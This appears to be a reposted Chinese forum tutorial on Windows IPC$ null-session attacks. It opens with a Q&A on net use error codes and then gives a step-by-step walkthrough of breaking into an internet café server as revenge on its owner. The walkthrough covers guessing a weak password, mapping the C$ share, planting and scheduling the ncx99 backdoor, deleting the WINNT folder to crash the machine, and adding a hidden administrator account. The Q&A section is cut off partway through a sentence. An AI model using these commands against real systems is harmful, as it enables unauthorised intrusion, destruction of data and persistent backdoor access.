IPC空连接的利用

相关：http://bbs.51cto.com/topic/thread-385486.html

转自：http://zhidao.baidu.com/question/34268348.html

关于IPC$空连接和IPC$入侵常见问题和回答：
1，怎样建立空连接，它有什么用？
使用命令 net use \IP\ipc$ "" /user:"" 就可以简单地和目标建立一个空连接（需要目标开放ipc$）。
对于NT，在默认安全设置下，借助空连接可以列举目标用户、共享，访问everyone权限的共享，访问小部分注册表等，没有什么利用价值。对2000作用就更小了。而且实现也不方便，需借助工具。


2，为什么我连不上IPC$？
1，只有nt/2000/xp及以上系统才可以建立ipc$。如果你用的是98/me是没有该功能的。
2，确认你的命令没有打错。正确的命令是： net use \目标IP\ipc$ "密码" /user:"用户名"
注意别多了或少了空格。当用户名和密码中不包含空格时两边的双引号可以省略。空密码用""表示。
3，根据返回的错误号分析原因：
错误号5，拒绝访问 ： 很可能你使用的用户不是管理员权限的，先提升权限；
错误号51，Windows 无法找到网络路径 : 网络有问题；
错误号53，找不到网络路径 ： ip地址错误；目标未开机；目标lanmanserver服务未启动；目标有防火墙（端口过滤）；
错误号67，找不到网络名 ： 你的lanmanworkstation服务未启动；目标删除了ipc$；
错误号1219，提供的凭据与已存在的凭据集冲突 ： 你已经和对方建立了一个ipc$，请删除再连。
错误号1326，未知的用户名或错误密码 ： 原因很明显了；
错误号1792，试图登录，但是网络登录服务没 
方便控制。这里提到的工具的使用，请看自带的说明或相关教程。










用IPC空连接入侵网吧主机
 
爱好者博墅Xp;av:\G4D
    相信现在还有很多朋友还是在网吧上网，有时候看到网吧老板蛮横的样子，得想个办法整他一下吧!苦于自己不会“黑功”，只好忍气吞声了!


大家作生意都不容易，不要太“黑”哟!做一个受人尊敬的黑客!


  先查它的ip IP:61.141.xxx.xxx （方法很多的） 


  我就打开DOS输入：net use \\61.141.xxx.xxx\ipc$    


  提示输入密码(网吧的服务器一般是对客房机共享，所以......嘿嘿)：    


  我估计是空！    


  直接按下[Enter]    


  真的被我猜中了！ 


  接着我便继续输入:net use \\61.141.xxx.xxx\c$    


  提示输入密码：    


  我也没有理会！    


  谁知道这下不管用了！ 


  找他的弱口令X-SCANNER（下载地方http://www.xfocus.net)扫它。 


  我接着就映射他的c盘    


  net use z: \\61.141.xxx.xxx\c$ 


  接着把NETX99放上去！   


  看他的时间！    


  net time \\61.141.xxx.xxx 


  他的时间是假如是下午3：02分    


  接着安排他的执行时间！   


  at \\61.141.xxx.xxx 15:04 ncx99.exe 


  命令成功完成!    


  接下来就是等时间了！    


  OK!到时间了！   


  telnet 61.141.xxx.xxx 99    


  进入了！    


  c:\>rd /s /q WINNT    


  呵呵！这时你会发现有很多文件拒绝访问！不要害怕！这是很正常的事情！因为他有很多文件正在调用！ 不过他的机器很快就会拼命报错！直到系统崩溃！呵呵！对于一个网吧来说！这个无疑是一个致命的打击！没有主机怎么上网？只有关门了！呵呵！接着就是如何获取ADMIN的权限了！ 


  我们首先把他的C盘映射成为我们的Z盘！    


  开始－－运行－－cmd    


  输入:net use z: //61.141.xxx.xxx/c$ "密码" /user:"用户名"    


  出现：命令成功完成    


  这时候你打开“我的电脑”看看！    


  是不是多了一个Z盘？    


  接着不用我多说了吧？    


  首先必须创建一个你自己的用户名   


  输入：net user 用户名 "密码" /add   


  出现：命令成功完成    


  OK!    


  接着就是如何把你创建的用户加到ADMIN组了！    


  输入：net localgroup administrators “用户名” /add 


  OK，出现：命令成功完成